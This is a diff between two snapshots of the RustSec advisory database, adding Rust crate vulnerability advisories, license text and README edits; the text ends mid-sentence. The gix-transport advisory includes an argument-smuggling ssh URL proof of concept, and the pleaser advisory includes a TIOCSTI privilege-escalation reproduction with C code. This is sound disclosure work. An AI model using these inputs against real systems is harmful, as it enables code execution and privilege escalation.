+extent the Waiver is so judged Affirmer hereby grants to each affected
+person a royalty-free, non transferable, non sublicensable, non exclusive,
+irrevocable and unconditional license to exercise Affirmer's Copyright and
+Related Rights in the Work (i) in all territories worldwide, (ii) for the
+maximum duration provided by applicable law or treaty (including future
+time extensions), (iii) in any current or future medium and for any number
+of copies, and (iv) for any purpose whatsoever, including without
+limitation commercial, advertising or promotional purposes (the
+"License"). The License shall be deemed effective as of the date CC0 was
+applied by Affirmer to the Work. Should any part of the License for any
+reason be judged legally invalid or ineffective under applicable law, such
+partial invalidity or ineffectiveness shall not invalidate the remainder
+of the License, and in such case Affirmer hereby affirms that he or she
+will not (i) exercise any of his or her remaining Copyright and Related
+Rights in the Work or (ii) assert any associated claims and causes of
+action with respect to the Work, in either case contrary to Affirmer's
+express Statement of Purpose.
+
+4. Limitations and Disclaimers.
+
+ a. No trademark or patent rights held by Affirmer are waived, abandoned,
+    surrendered, licensed or otherwise affected by this document.
+ b. Affirmer offers the Work as-is and makes no representations or
+    warranties of any kind concerning the Work, express, implied,
+    statutory or otherwise, including without limitation warranties of
+    title, merchantability, fitness for a particular purpose, non
+    infringement, or the absence of latent or other defects, accuracy, or
+    the present or absence of errors, whether or not discoverable, all to
+    the greatest extent permissible under applicable law.
+ c. Affirmer disclaims responsibility for clearing rights of other persons
+    that may apply to the Work or any use thereof, including without
+    limitation any person's Copyright and Related Rights in the Work.
+    Further, Affirmer disclaims responsibility for obtaining any necessary
+    consents, permissions or other rights required for any use of the
+    Work.
+ d. Affirmer understands and acknowledges that Creative Commons is not a
+    party to this document and has no duty or obligation with respect to
+    this CC0 or use of the Work.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/advisory-db-20230818/MAINTAINERS_GUIDE.md 
new/advisory-db-20231007/MAINTAINERS_GUIDE.md
--- old/advisory-db-20230818/MAINTAINERS_GUIDE.md       2023-08-14 
19:14:25.000000000 +0200
+++ new/advisory-db-20231007/MAINTAINERS_GUIDE.md       2023-10-03 
15:53:18.000000000 +0200
@@ -6,7 +6,7 @@
 
 This is something first-time submitters may struggle with.
  
-You can usually make changes directly to the sumbitter's branch. It's a great 
way to make CI pass and help out first-timers, but avoid making substantial 
changes to content this way without consuling the submitter.
+You can usually make changes directly to the submitter's branch. It's a great 
way to make CI pass and help out first-timers, but avoid making substantial 
changes to content this way without consulting the submitter.
 
 ## Make sure the developers of the crate in question are aware of the issue
 
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/advisory-db-20230818/README.md 
new/advisory-db-20231007/README.md
--- old/advisory-db-20230818/README.md  2023-08-14 19:14:25.000000000 +0200
+++ new/advisory-db-20231007/README.md  2023-10-03 15:53:18.000000000 +0200
@@ -12,7 +12,7 @@
 All our data is available on 
[osv.dev](https://osv.dev/list?ecosystem=crates.io&q=)
 and through their [API](https://osv.dev/#use-the-api).
 
-[Github Advisory Database](https://github.com/advisories/) imports our 
advisories.
+[GitHub Advisory Database](https://github.com/advisories/) imports our 
advisories.
 
 The following tools consume this advisory database and can be used for auditing
 and reporting (send PRs to add yours):
@@ -29,6 +29,8 @@
 To report a new vulnerability, open a pull request using the template below.
 See [CONTRIBUTING.md] for more information.
 
+See [HOWTO_UNMAINTAINED.md] before filing an advisory for an unmaintained 
crate.
+
 <a href="https://github.com/RustSec/advisory-db/blob/main/CONTRIBUTING.md";>
   <img alt="Report Vulnerability" width="250px" height="60px" 
src="https://rustsec.org/img/report-vuln-button.svg";>
 </a>
@@ -60,13 +62,14 @@
 #withdrawn = "YYYY-MM-DD"
 
 # URL to a long-form description of this issue, e.g. a GitHub issue/PR,
-# a change log entry, or a blogpost announcing the release (optional)
+# a change log entry, or a blogpost announcing the release (optional, except
+# for advisories using a license that requires attribution).
 url = "https://github.com/mystuff/mycrate/issues/123";
 
 # URL to additional helpful references regarding the advisory (optional)
 #references = ["https://github.com/mystuff/mycrate/discussions/1";]
 
-# Optional: Indicates the type of informational security  advisory
+# Optional: Indicates the type of informational security advisory
 #  - "unsound" for soundness issues
 #  - "unmaintained" for crates that are no longer maintained
 #  - "notice" for other informational notices
@@ -91,6 +94,13 @@
 # e.g. CVE for a C library wrapped by a -sys crate)
 #related = ["CVE-2018-YYYY", "CVE-2018-ZZZZ"]
 
+# Optional: the advisory license as an SPDX identifier. The default is 
"CC0-1.0".
+# Accepted values are "CC0-1.0" and "CC-BY-4.0".
+# When using "CC-BY-4.0", the `url` field must constain the link to the source
+# advisory. This should only be used for advisories imported for the GitHub
+# Advisory database ("GHSA").
+#license = "CC-BY-4.0"
+
 # Optional: metadata which narrows the scope of what this advisory affects
 [affected]
 # CPU architectures impacted by this vulnerability (optional).
@@ -129,9 +139,15 @@
 
 ## License
 
-All content in this repository is placed in the public domain.
+All content in this repository is placed in the public domain, except 
otherwise specified.
+
+[![Public 
Domain](http://i.creativecommons.org/p/zero/1.0/88x31.png)](https://github.com/RustSec/advisory-db/blob/main/LICENSES/CC0-1.0.txt)
+
+The exceptions are advisories imported from [GitHub Advisory 
Database](https://docs.github.com/en/site-policy/github-terms/github-terms-for-additional-products-and-features#advisory-database),
+placed under CC-BY 4.0 license.
+They contain a `license` field explicitly indicating their license and a `url` 
field pointing to the original advisory for proper attribution.
 
-[![Public 
Domain](http://i.creativecommons.org/p/zero/1.0/88x31.png)](https://github.com/RustSec/advisory-db/blob/main/LICENSE.txt)
+[![Creative Commons 
Attribution](https://licensebuttons.net/l/by/4.0/88x31.png)](https://github.com/RustSec/advisory-db/blob/main/LICENSES/CC-BY-4.0.txt)
 
 [//]: # (badges)
 
@@ -151,3 +167,4 @@
 [trivy]: https://aquasecurity.github.io/trivy/
 [dependabot]: 
https://docs.github.com/en/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates
 [CONTRIBUTING.md]: 
https://github.com/RustSec/advisory-db/blob/main/CONTRIBUTING.md
+[HOWTO_UNMAINTAINED.md]: ./HOWTO_UNMAINTAINED.md
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/ansi_term/RUSTSEC-2021-0139.md 
new/advisory-db-20231007/crates/ansi_term/RUSTSEC-2021-0139.md
--- old/advisory-db-20230818/crates/ansi_term/RUSTSEC-2021-0139.md      
2023-08-14 19:14:25.000000000 +0200
+++ new/advisory-db-20231007/crates/ansi_term/RUSTSEC-2021-0139.md      
2023-10-03 15:53:18.000000000 +0200
@@ -21,6 +21,7 @@
 
  The below list has not been vetted in any way and may or may not contain 
alternatives;
 
+ - [ansiterm](https://crates.io/crates/ansiterm)
  - [anstyle](https://github.com/epage/anstyle)
  - [console](https://crates.io/crates/console)
  - [nu-ansi-term](https://crates.io/crates/nu-ansi-term)
@@ -30,4 +31,4 @@
 
 ## Dependency Specific Migration(s)
 
- - [structopt, clap2](https://github.com/clap-rs/clap/discussions/4172)
\ No newline at end of file
+ - [structopt, clap2](https://github.com/clap-rs/clap/discussions/4172)
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/bcder/RUSTSEC-2023-0062.md 
new/advisory-db-20231007/crates/bcder/RUSTSEC-2023-0062.md
--- old/advisory-db-20230818/crates/bcder/RUSTSEC-2023-0062.md  1970-01-01 
01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/bcder/RUSTSEC-2023-0062.md  2023-10-03 
15:53:18.000000000 +0200
@@ -0,0 +1,26 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0062"
+package = "bcder"
+date = "2023-09-13"
+url = "https://nlnetlabs.nl/downloads/bcder/CVE-2023-39914.txt";
+categories = ["denial-of-service"]
+keywords = ["example", "freeform", "keywords"]
+aliases = ["CVE-2023-39914"]
+cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+references = ["https://github.com/NLnetLabs/bcder/pull/74";]
+
+[versions]
+patched = [">= 0.7.3"]
+```
+
+# BER/CER/DER decoder panics on invalid input
+
+Due to insufficient checking of input data, decoding certain data sequences
+can lead to _bcder_ panicking rather than returning an error. This can affect
+both the actual decoding stage as well as accessing content of types that
+utilized delayed decoding.
+
+bcder 0.7.3 fixes these issues by more thoroughly checking inputs and
+returning errors as expected.
+
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/borsh/RUSTSEC-2023-0033.md 
new/advisory-db-20231007/crates/borsh/RUSTSEC-2023-0033.md
--- old/advisory-db-20230818/crates/borsh/RUSTSEC-2023-0033.md  2023-08-14 
19:14:25.000000000 +0200
+++ new/advisory-db-20231007/crates/borsh/RUSTSEC-2023-0033.md  2023-10-03 
15:53:18.000000000 +0200
@@ -11,7 +11,7 @@
 
 [affected]
 [versions]
-patched = []
+patched = [">= 1.0.0-alpha.1"]
 ```
 
 # Parsing borsh messages with ZST which are not-copy/clone is unsound
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/dlopen_derive/RUSTSEC-2023-0051.md 
new/advisory-db-20231007/crates/dlopen_derive/RUSTSEC-2023-0051.md
--- old/advisory-db-20230818/crates/dlopen_derive/RUSTSEC-2023-0051.md  
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/dlopen_derive/RUSTSEC-2023-0051.md  
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,27 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0051"
+package = "dlopen_derive"
+date = "2023-07-30"
+url = "https://github.com/szymonwieloch/rust-dlopen/issues/47";
+informational = "unmaintained"
+
+[versions]
+patched = []
+```
+
+# `dlopen_derive` is unmaintained
+
+`dlopen_derive` hasn't been updated since June 9, 2019.
+
+`dlopen_derive` depends on [`quote = "0.6.12"`] and [`syn = "0.15.34"`]. 
Versions `1.0.0` of these dependencies were published on August 13, 2019. The 
`0.*` versions haven't received updates since.
+
+Note that `dlopen` is an unmaintained crate from the same repository as 
`dlopen_derive`. However, migrating away from `dlopen_derive` implies migrating 
away from `dlopen`, as well.
+
+## Recommended alternatives
+
+- [`dlopen2_derive`] (and `dlopen2`)
+
+[`dlopen2_derive`]: https://github.com/OpenByteDev/dlopen2
+[`quote = "0.6.12"`]: https://github.com/dtolnay/quote/releases/tag/0.6.12
+[`syn = "0.15.34"`]: https://github.com/dtolnay/syn/releases/tag/0.15.34
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/ed25519-dalek/RUSTSEC-2022-0093.md 
new/advisory-db-20231007/crates/ed25519-dalek/RUSTSEC-2022-0093.md
--- old/advisory-db-20230818/crates/ed25519-dalek/RUSTSEC-2022-0093.md  
2023-08-14 19:14:25.000000000 +0200
+++ new/advisory-db-20231007/crates/ed25519-dalek/RUSTSEC-2022-0093.md  
2023-10-03 15:53:18.000000000 +0200
@@ -5,6 +5,7 @@
 date = "2022-06-11"
 categories = ["crypto-failure"]
 url = "https://github.com/MystenLabs/ed25519-unsafe-libs";
+aliases = ["GHSA-w5vr-6qhr-36cc"]
 
 [versions]
 patched = [">= 2"]
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/gix-transport/RUSTSEC-2023-0064.md 
new/advisory-db-20231007/crates/gix-transport/RUSTSEC-2023-0064.md
--- old/advisory-db-20230818/crates/gix-transport/RUSTSEC-2023-0064.md  
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/gix-transport/RUSTSEC-2023-0064.md  
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,25 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0064"
+package = "gix-transport"
+date = "2023-09-23"
+url = "https://github.com/Byron/gitoxide/pull/1032";
+references = ["https://secure.phabricator.com/T12961";]
+categories = ["code-execution"]
+[versions]
+patched = [">= 0.36.1"]
+```
+
+# gix-transport code execution vulnerability
+
+The `gix-transport` crate prior to the patched version 0.36.1 would allow 
attackers to
+use malicious ssh clone URLs to pass arbitrary arguments to the `ssh` program, 
leading
+to arbitrary code execution.
+
+PoC: `gix clone 'ssh://-oProxyCommand=open$IFS-aCalculator/foo'`
+
+This will launch a calculator on OSX.
+
+See https://secure.phabricator.com/T12961 for more details on similar 
vulnerabilities in `git`.
+
+Thanks for [vin01](https://github.com/vin01) for disclosing the issue.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/inventory/RUSTSEC-2023-0057.md 
new/advisory-db-20231007/crates/inventory/RUSTSEC-2023-0057.md
--- old/advisory-db-20230818/crates/inventory/RUSTSEC-2023-0057.md      
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/inventory/RUSTSEC-2023-0057.md      
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,26 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0057"
+package = "inventory"
+date = "2023-09-10"
+url = "https://github.com/dtolnay/inventory/pull/43";
+informational = "unsound"
+keywords = ["life-before-main"]
+
+[versions]
+patched = [">= 0.2.0"]
+```
+
+# Fails to prohibit standard library access prior to initialization of Rust 
standard library runtime
+
+Affected versions allow arbitrary caller-provided code to execute before the
+lifetime of `main`.
+
+If the caller-provided code accesses particular pieces of the standard library
+that require an initialized Rust runtime, such as `std::io` or `std::thread`,
+these may not behave as documented. Panics are likely; UB is possible.
+
+The flaw was corrected by enforcing that only code written within the
+`inventory` crate, which is guaranteed not to access runtime-dependent parts of
+the standard library, runs before `main`. Caller-provided code is restricted to
+running at compile time.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/inventory/RUSTSEC-2023-0058.md 
new/advisory-db-20231007/crates/inventory/RUSTSEC-2023-0058.md
--- old/advisory-db-20230818/crates/inventory/RUSTSEC-2023-0058.md      
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/inventory/RUSTSEC-2023-0058.md      
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,25 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0058"
+package = "inventory"
+date = "2023-09-10"
+url = "https://github.com/dtolnay/inventory/pull/42";
+informational = "unsound"
+categories = ["thread-safety"]
+keywords = ["life-before-main"]
+
+[versions]
+patched = [">= 0.2.0"]
+```
+
+# Exposes reference to non-Sync data to an arbitrary thread
+
+Affected versions do not enforce a `Sync` bound on the type of caller-provided
+value held in the plugin registry. References to these values are made
+accessible to arbitrary threads other than the one that constructed them.
+
+A caller could use this flaw to submit thread-unsafe data into inventory, then
+access it as a reference simultaneously from multiple threads.
+
+The flaw was corrected by enforcing that data submitted by the caller into
+inventory is `Sync`.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/json/RUSTSEC-2022-0081.md 
new/advisory-db-20231007/crates/json/RUSTSEC-2022-0081.md
--- old/advisory-db-20230818/crates/json/RUSTSEC-2022-0081.md   2023-08-14 
19:14:25.000000000 +0200
+++ new/advisory-db-20231007/crates/json/RUSTSEC-2022-0081.md   2023-10-03 
15:53:18.000000000 +0200
@@ -23,6 +23,7 @@
 
 The below list has not been vetted in any way and may or may not contain 
alternatives;
 
+- [jzon](https://crates.io/crates/jzon) maintained fork of json
 - [serde_json](https://crates.io/crates/serde_json)
 - [json-deserializer](https://crates.io/crates/json-deserializer)
 - [simd-json](https://crates.io/crates/simd-json)
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/lexical/RUSTSEC-2023-0055.md 
new/advisory-db-20231007/crates/lexical/RUSTSEC-2023-0055.md
--- old/advisory-db-20230818/crates/lexical/RUSTSEC-2023-0055.md        
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/lexical/RUSTSEC-2023-0055.md        
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,32 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0055"
+package = "lexical"
+date = "2023-09-03"
+informational = "unsound"
+references = ["https://github.com/Alexhuszagh/rust-lexical/issues/102";, 
"https://github.com/Alexhuszagh/rust-lexical/issues/101";, 
"https://github.com/Alexhuszagh/rust-lexical/issues/95";, 
"https://github.com/Alexhuszagh/rust-lexical/issues/104";]
+
+[versions]
+patched = []
+```
+
+# Multiple soundness issues
+
+`lexical` contains multiple soundness issues:
+
+ 1. [Bytes::read() allows creating instances of types with invalid bit 
patterns](https://github.com/Alexhuszagh/rust-lexical/issues/102)
+ 1. [BytesIter::read() advances iterators out of 
bounds](https://github.com/Alexhuszagh/rust-lexical/issues/101)
+ 1. [The `BytesIter` trait has safety invariants but is public and not marked 
`unsafe`](https://github.com/Alexhuszagh/rust-lexical/issues/104)
+ 1. [`write_float()` calls `MaybeUninit::assume_init()` on uninitialized data, 
which is is not allowed by the Rust abstract 
machine](https://github.com/Alexhuszagh/rust-lexical/issues/95)
+
+The crate also has some correctness issues and appears to be unmaintained.
+
+## Alternatives
+
+For quickly parsing floating-point numbers third-party crates are no longer 
needed. A fast float parsing algorith by the author of `lexical` has been 
[merged](https://github.com/rust-lang/rust/pull/86761) into libcore.
+
+For quickly parsing integers, consider `atoi` and `btoi` crates (100% safe 
code). `atoi_radix10` provides even faster parsing, but only with `-C 
target-cpu=native`, and at the cost of some `unsafe`.
+
+For formatting integers in a `#[no_std]` context consider the 
[`numtoa`](https://crates.io/crates/numtoa) crate.
+
+For working with big numbers consider `num-bigint` and `num-traits`.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/libwebp-sys/RUSTSEC-2023-0061.md 
new/advisory-db-20231007/crates/libwebp-sys/RUSTSEC-2023-0061.md
--- old/advisory-db-20230818/crates/libwebp-sys/RUSTSEC-2023-0061.md    
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/libwebp-sys/RUSTSEC-2023-0061.md    
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,18 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0061"
+package = "libwebp-sys"
+date = "2023-09-12"
+categories = ["memory-corruption"]
+keywords = ["webp"]
+aliases = ["CVE-2023-5129", "CVE-2023-4863"]
+
+[versions]
+patched = [">= 0.9.3"]
+```
+
+# libwebp: OOB write in BuildHuffmanTable
+
+[Google](https://chromereleases.googleblog.com/2023/09/stable-channel-update-for-desktop_11.html)
 and [Mozilla](https://www.mozilla.org/en-US/security/advisories/mfsa2023-40/) 
have released security advisories for RCE due to heap overflow in libwebp. 
Google warns the vulnerability has been exploited in the wild.
+
+libwebp needs to be updated to 1.3.2 to include a patch for "OOB write in 
BuildHuffmanTable".
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/libwebp-sys2/RUSTSEC-2023-0060.md 
new/advisory-db-20231007/crates/libwebp-sys2/RUSTSEC-2023-0060.md
--- old/advisory-db-20230818/crates/libwebp-sys2/RUSTSEC-2023-0060.md   
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/libwebp-sys2/RUSTSEC-2023-0060.md   
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,18 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0060"
+package = "libwebp-sys2"
+date = "2023-09-12"
+categories = ["memory-corruption"]
+keywords = ["webp"]
+aliases = ["CVE-2023-5129", "CVE-2023-4863"]
+
+[versions]
+patched = [">= 0.1.8"]
+```
+
+# libwebp: OOB write in BuildHuffmanTable
+
+[Google](https://chromereleases.googleblog.com/2023/09/stable-channel-update-for-desktop_11.html)
 and [Mozilla](https://www.mozilla.org/en-US/security/advisories/mfsa2023-40/) 
have released security advisories for RCE due to heap overflow in libwebp. 
Google warns the vulnerability has been exploited in the wild.
+
+libwebp needs to be updated to 1.3.2 to include a patch for "OOB write in 
BuildHuffmanTable".
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/mail-internals/RUSTSEC-2023-0054.md 
new/advisory-db-20231007/crates/mail-internals/RUSTSEC-2023-0054.md
--- old/advisory-db-20230818/crates/mail-internals/RUSTSEC-2023-0054.md 
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/mail-internals/RUSTSEC-2023-0054.md 
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,24 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0054"
+package = "mail-internals"
+date = "2023-08-07"
+url = 
"https://git.sr.ht/~nabijaczleweli/mail-internals.crate/commit/05443c864b204e7f1512caf2d53e8cce4dd340fc";
+categories = ["memory-corruption"]
+keywords = ["mail", "mail-api"]
+aliases = ["GHSA-rcx8-48pc-v9q8"]
+
+[affected]
+functions = { "mail_internals::utils::vec_insert_bytes" = [">= 0.2.0"] }
+
+[versions]
+patched = []
+```
+
+# Use-after-free in `vec_insert_bytes`
+Incorrect reallocation logic in the function 
[`vec_insert_bytes`](https://docs.rs/mail-internals/0.2.3/mail_internals/utils/fn.vec_insert_bytes.html)
 causes a use-after-free.
+
+This function does not have to be called directly to trigger the vulnerability 
because many methods on 
[`EncodingWriter`](https://docs.rs/mail-internals/0.2.3/mail_internals/encoder/struct.EncodingWriter.html)
 call this function internally.
+
+The mail-\* suite is unmaintained and the upstream sources have been actively 
vandalised.
+A fixed `mail-internals-ng` (and `mail-headers-ng` and `mail-core-ng`) crate 
has been published which fixes this, and a dependency on another unsound crate.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/multipart/RUSTSEC-2023-0050.md 
new/advisory-db-20231007/crates/multipart/RUSTSEC-2023-0050.md
--- old/advisory-db-20230818/crates/multipart/RUSTSEC-2023-0050.md      
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/multipart/RUSTSEC-2023-0050.md      
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,20 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0050"
+package = "multipart"
+date = "2023-04-11"
+informational = "unmaintained"
+
+[versions]
+patched = []
+```
+
+# multipart is Unmaintained
+
+The `multipart` crate is unmaintained. The author has archived the github
+repository.
+
+Alternatives:
+
+- [multer](https://crates.io/crates/multer)
+- [multiparty](https://crates.io/crates/multiparty)
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/pleaser/RUSTSEC-2023-0066.md 
new/advisory-db-20231007/crates/pleaser/RUSTSEC-2023-0066.md
--- old/advisory-db-20230818/crates/pleaser/RUSTSEC-2023-0066.md        
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/pleaser/RUSTSEC-2023-0066.md        
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,49 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0066"
+package = "pleaser"
+date = "2023-04-29"
+url = "https://gitlab.com/edneville/please/-/issues/13";
+categories = ["privilege-escalation"]
+keywords = []
+cvss = "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
+
+[versions]
+patched = []
+
+[affected]
+```
+
+# Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX
+
+please is vulnerable to privilege escalation using ioctls TIOCSTI
+and TIOCLINUX on systems where they are not disabled.
+
+Here is how to see it in action:
+
+```
+$ cd "$(mktemp -d)"
+$ git clone --depth 1 https://gitlab.com/edneville/please.git
+$ cd please/
+$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
+$ cargo test && cargo build --release
+$ echo 
"[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false'
 | sudo tee /etc/please.ini
+$ sudo chown root:root ./target/release/please
+$ sudo chmod u+s ./target/release/please
+$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
+#include <sys/ioctl.h>
+
+int main(void) {
+  const char *text = "id\n";
+  while (*text)
+    ioctl(0, TIOCSTI, text++);
+  return 0;
+}
+TIOCSTI_C_EOF
+$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
+$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} 
rather than nobody
+```
+
+Please note that:
+
+This affects both the case where root wants to drop privileges as well when 
non-root wants to gain other privileges.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/quinn-proto/RUSTSEC-2023-0063.md 
new/advisory-db-20231007/crates/quinn-proto/RUSTSEC-2023-0063.md
--- old/advisory-db-20230818/crates/quinn-proto/RUSTSEC-2023-0063.md    
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/quinn-proto/RUSTSEC-2023-0063.md    
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,21 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0063"
+package = "quinn-proto"
+date = "2023-09-21"
+url = "https://github.com/quinn-rs/quinn/pull/1667";
+categories = ["denial-of-service"]
+keywords = ["panic"]
+aliases = ["GHSA-q8wc-j5m9-27w3"]
+cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+
+[versions]
+patched = ["^0.9.5", ">= 0.10.5"]
+```
+
+# Denial of service in Quinn servers
+
+Receiving QUIC frames containing a frame with unknown frame type could lead to 
a panic.
+Unfortunately this is issue was not found by our fuzzing infrastructure.
+
+Thanks to the QUIC Tester research group for reporting this issue.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/rustdecimal/RUSTSEC-2022-0042.md 
new/advisory-db-20231007/crates/rustdecimal/RUSTSEC-2022-0042.md
--- old/advisory-db-20230818/crates/rustdecimal/RUSTSEC-2022-0042.md    
2023-08-14 19:14:25.000000000 +0200
+++ new/advisory-db-20231007/crates/rustdecimal/RUSTSEC-2022-0042.md    
2023-10-03 15:53:18.000000000 +0200
@@ -6,7 +6,7 @@
 url = 
"https://groups.google.com/g/rustlang-security-announcements/c/5DVtC8pgJLw?pli=1";
 categories = ["code-execution"]
 keywords = ["typosquatting"]
-aliases = ["GHSA-7pwq-f4pq-78gm"]
+aliases = ["GHSA-7pwq-f4pq-78gm", "MAL-2022-1"]
 [versions]
 patched = []
 ```
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/rustls-webpki/RUSTSEC-2023-0053.md 
new/advisory-db-20231007/crates/rustls-webpki/RUSTSEC-2023-0053.md
--- old/advisory-db-20230818/crates/rustls-webpki/RUSTSEC-2023-0053.md  
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/rustls-webpki/RUSTSEC-2023-0053.md  
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,31 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0053"
+package = "rustls-webpki"
+date = "2023-08-22"
+categories = ["denial-of-service"]
+keywords = ["certificate", "path building", "x509"]
+cvss = "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+related = ["CVE-2018-16875"]
+aliases = ["GHSA-fh2r-99q2-6mmg"]
+
+[versions]
+patched = [">= 0.100.2, < 0.101.0", ">= 0.101.4"]
+```
+
+# rustls-webpki: CPU denial of service in certificate path building
+
+When this crate is given a pathological certificate chain to validate, it will
+spend CPU time exponential with the number of candidate certificates at each
+step of path building.
+
+Both TLS clients and TLS servers that accept client certificate are affected.
+
+We now give each path building operation a budget of 100 signature 
verifications.
+
+The original `webpki` crate is also affected.
+
+This was previously reported in the original crate
+<https://github.com/briansmith/webpki/issues/69> and re-reported to us
+recently by Luke Malinowski.
+
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/advisory-db-20230818/crates/tungstenite/RUSTSEC-2023-0065.md 
new/advisory-db-20231007/crates/tungstenite/RUSTSEC-2023-0065.md
--- old/advisory-db-20230818/crates/tungstenite/RUSTSEC-2023-0065.md    
1970-01-01 01:00:00.000000000 +0100
+++ new/advisory-db-20231007/crates/tungstenite/RUSTSEC-2023-0065.md    
2023-10-03 15:53:18.000000000 +0200
@@ -0,0 +1,21 @@
+```toml
+[advisory]
+id = "RUSTSEC-2023-0065"
+package = "tungstenite"
+date = "2023-09-25"
+url = "https://github.com/snapview/tungstenite-rs/issues/376";
+categories = ["denial-of-service"]
+aliases = ["CVE-2023-43669", "GHSA-9mcr-873m-xcxp"]
+cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+
+[versions]
+patched = [">= 0.20.1"]
+```
+
+# Tungstenite allows remote attackers to cause a denial of service
+
+The Tungstenite crate through 0.20.0 for Rust allows remote attackers to cause
+a denial of service (minutes of CPU consumption) via an excessive length of an
+HTTP header in a client handshake. The length affects both how many times a 
parse
+is attempted (e.g., thousands of times) and the average amount of data for each
